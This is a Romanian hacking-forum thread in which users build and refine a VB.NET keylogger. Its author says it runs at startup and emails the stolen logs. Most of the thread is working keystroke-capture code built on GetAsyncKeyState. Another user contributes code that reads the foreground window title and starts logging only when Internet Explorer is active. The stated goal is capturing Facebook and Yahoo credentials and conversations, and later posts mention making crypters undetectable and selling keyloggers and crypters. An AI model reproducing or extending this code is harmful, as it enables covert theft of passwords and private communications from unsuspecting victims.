Jump to content
sandabot

[VB.NET] Keylogger

Recommended Posts

Posted (edited)

Ok deci am keylogerul asta facut din mai multe parti i-am pus: startup , se trimit logurile prin e-mail , numele pc prin e-mail etc.

Problema este ca nu mi se trimite in mail caracterele speciale ca : @ , Backspace , . , etc avand doar partea asta de cod din keylogger :

 Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i

If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
tbLog.Text &= key
Else
tbLog.text &= key.ToLower
End If
End If

Si daca ati putea sa-mi imbunatatiti partea de keylogger si sa imi arate numele ferestrei unde se scriu logurile. (am vazut tutorialul de pe site dar nu prea m-a ajutat)

Cheers :)

Edit: Nevermind .... I found something :


Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Integer) As Short
Public Function getCapslock() As Boolean
On Error Resume Next
getCapslock = CBool(GetKeyState(System.Windows.Forms.Keys.Capital) And 1)
End Function
Public Function getShift() As Boolean
On Error Resume Next
getShift = CBool(GetAsyncKeyState(System.Windows.Forms.Keys.ShiftKey))
End Function
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
On Error Resume Next
Dim i As Object
Dim Pressed As Object
Dim LineLimit As Int32 = 69
Dim Key As Object
On Error Resume Next
Pressed = GetAsyncKeyState(13)
If Pressed = -32767 Then
Key = "[EN]"
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(8)
If Pressed = -32767 Then
Key = "[BS]"
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(32)
If Pressed = -32767 Then
Key = " "
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(186)
If Pressed = -32767 Then
If getShift() = False Then
Key = ";"
Else
Key = ":"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(187)
If Pressed = -32767 Then
If getShift() = False Then
Key = "="
Else
Key = "+"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(188)
If Pressed = -32767 Then
If getShift() = False Then
Key = ","
Else
Key = "<"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(189)
If Pressed = -32767 Then
If getShift() = False Then
Key = "-"
Else
Key = "_"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(190)
If Pressed = -32767 Then
If getShift() = False Then
Key = "."
Else
Key = ">"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(191)
If Pressed = -32767 Then
If getShift() = False Then
Key = "/"
Else
Key = "?"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(192)
If Pressed = -32767 Then
If getShift() = False Then
Key = "`"
Else
Key = "~"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(96)
If Pressed = -32767 Then
If getShift() = False Then
Key = "0"
Else
Key = ")"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(97)
If Pressed = -32767 Then
If getShift() = False Then
Key = "1"
Else
Key = "!"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(98)
If Pressed = -32767 Then
If getShift() = False Then
Key = "2"
Else
Key = "@"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(99)
If Pressed = -32767 Then
If getShift() = False Then
Key = "3"
Else
Key = "#"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(100)
If Pressed = -32767 Then
If getShift() = False Then
Key = "4"
Else
Key = "$"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(101)
If Pressed = -32767 Then
If getShift() = False Then
Key = "5"
Else
Key = "%"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(102)
If Pressed = -32767 Then
If getShift() = False Then
Key = "6"
Else
Key = "7"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(103)
If Pressed = -32767 Then
If getShift() = False Then
Key = "7"
Else
Key = "&"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(104)
If Pressed = -32767 Then
If getShift() = False Then
Key = "8"
Else
Key = "*"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(105)
If Pressed = -32767 Then
If getShift() = False Then
Key = "9"
Else
Key = "("
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(106)
If Pressed = -32767 Then
If getShift() = False Then
Key = "*"
Else
Key = ""
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(107)
If Pressed = -32767 Then
If getShift() = False Then
Key = "+"
Else
Key = "="
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(108)
If Pressed = -32767 Then
Key = ""
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(109)
If Pressed = -32767 Then
If getShift() = False Then
Key = "-"
Else
Key = "_"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(110)
If Pressed = -32767 Then
If getShift() = False Then
Key = "."
Else
Key = ">"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(111)
If Pressed = -32767 Then
Key = "/"
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(2)
If Pressed = -32767 Then
If getShift() = False Then
Key = "/"
Else
Key = "?"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(220)
If Pressed = -32767 Then
If getShift() = False Then
Key = ""
Else
Key = "|"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(222)
If Pressed = -32767 Then
If getShift() = False Then
Key = "'"
Else
Key = Chr(34)
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(221)
If Pressed = -32767 Then
If getShift() = False Then
Key = "]"
Else
Key = "}"
End If
GoTo KeyFound
End If
Pressed = GetAsyncKeyState(219)
If Pressed = -32767 Then
If getShift() = False Then
Key = "["
Else
Key = "{"
End If
GoTo KeyFound
End If
For i = 65 To 128
Pressed = GetAsyncKeyState(i)
If Pressed = -32767 Then
If getShift() = False Then
If getCapslock() = True Then
Key = UCase(Chr(i))
Else
Key = LCase(Chr(i))
End If
Else
If getCapslock() = False Then
Key = UCase(Chr(i))
Else
Key = LCase(Chr(i))
End If
End If
GoTo KeyFound
End If
Next i
For i = 48 To 57
Pressed = GetAsyncKeyState(i)
If Pressed = -32767 Then
If getShift() = True Then
Select Case Val(Chr(i))
Case 1
Key = "!"
Case 2
Key = "@"
Case 3
Key = "#"
Case 4
Key = "$"
Case 5
Key = "%"
Case 6
Key = "^"
Case 7
Key = "&"
Case 8
Key = "*"
Case 9
Key = "("
Case 0
Key = ")"
End Select
Else
Key = Chr(i)
End If
GoTo KeyFound
End If
Next i
Exit Sub
KeyFound:
If Key <> "" Then
Textbox1.AppendText(Key)
End If
End Sub
End Class

Acum daca stiti cum sa afiseze si fereastra ar fi super :)

Edited by sandabot
Posted

Mersi dar am facut partea cu caracterele speciale , acum vreau doar o bucata de cod cum sa imi bage in Textbox1.text (acolo unde se strang logurile) numele ferestrei :) de genul :

-----------------

Chrome-Facebook

-----------------

hamham@yahoo.com parolameadefacebook

-----------------

Yahoo!Messenger

-----------------

id parola

conversatii

Posted

omg oameni buni ,ceva mai folositor nu stiti sa faceti ? Keylogger peste keylogger ,de parca doar de atat ar fi capabil vb.net . incearca sa te folosesti de urmatoarele :

Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As IntPtr, ByRef lpdwProcessID As Integer) As Integer
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hWnd As IntPtr, ByVal WinTitle As String, ByVal MaxLength As Integer) As Integer
Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Integer

Posted

Private Sub IExplorer()
Dim hWnd As IntPtr = GetForegroundWindow()
If hWnd = IntPtr.Zero Then Exit Sub
Dim TitleLength As Integer
TitleLength = GetWindowTextLength(hWnd)
Dim WindowTitle As String = StrDup(TitleLength + 1, "*")
GetWindowText(hWnd, WindowTitle, TitleLength + 1)
Dim pid As Integer = 0
GetWindowThreadProcessId(hWnd, pid)
If pid = 0 Then Exit Sub
Dim proc As Process = Process.GetProcessById(pid)
If proc Is Nothing Then Exit Sub
If proc.MainWindowTitle.Contains("Microsoft Internet Explorer") And proc.ProcessName = "iexplore" Then
Timer1.Start()
Else
Timer1.Stop()
End If
End Sub

codul de mai sus il foloseam acum ceva timp ,este doar un exemplu care "spioneaza" internet explorer . sper sa iti fie de folos.

Posted (edited)
Mare branza sa faci FUD un runpe, schimbi toate dimurile adaugi niste junk si gata.

cand o sa fudezi tu runpeul cu metoda prezentata de tine, o sa fie Vadim presedinte.

@sandabot

da vreau sursa sa vad cum ai facut hookul.:) (ca restul "e" caramele).

@drgrim

si cam ce as putea sa fac folositor in vb.net pentru mine?

-macar stiu ca un keylogger si un crypter se vand destul destul de bine.

-ma si "distrez" cu programarea si mai fac si un ban (nu e bine?), nu ca as duce lipsa

-decat sa o ard prin cluburi sau mai stiu eu ce, prefer sa programez/sa mai invat cate ceva nou in programare etc

Edited by gogusan
Posted

În primul rând, vă mulțumesc pentru acest subiect că mi-a ajutat să îmi îmbunătățesc proiectul.
Iată ce trebuie să schimb pentru ca acest cod să funcționeze corect pentru mine folosind VS2017.

 

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Short
    Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Short

On Error Resume Next
        Dim Pressed As Integer
        Dim key As String

 

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...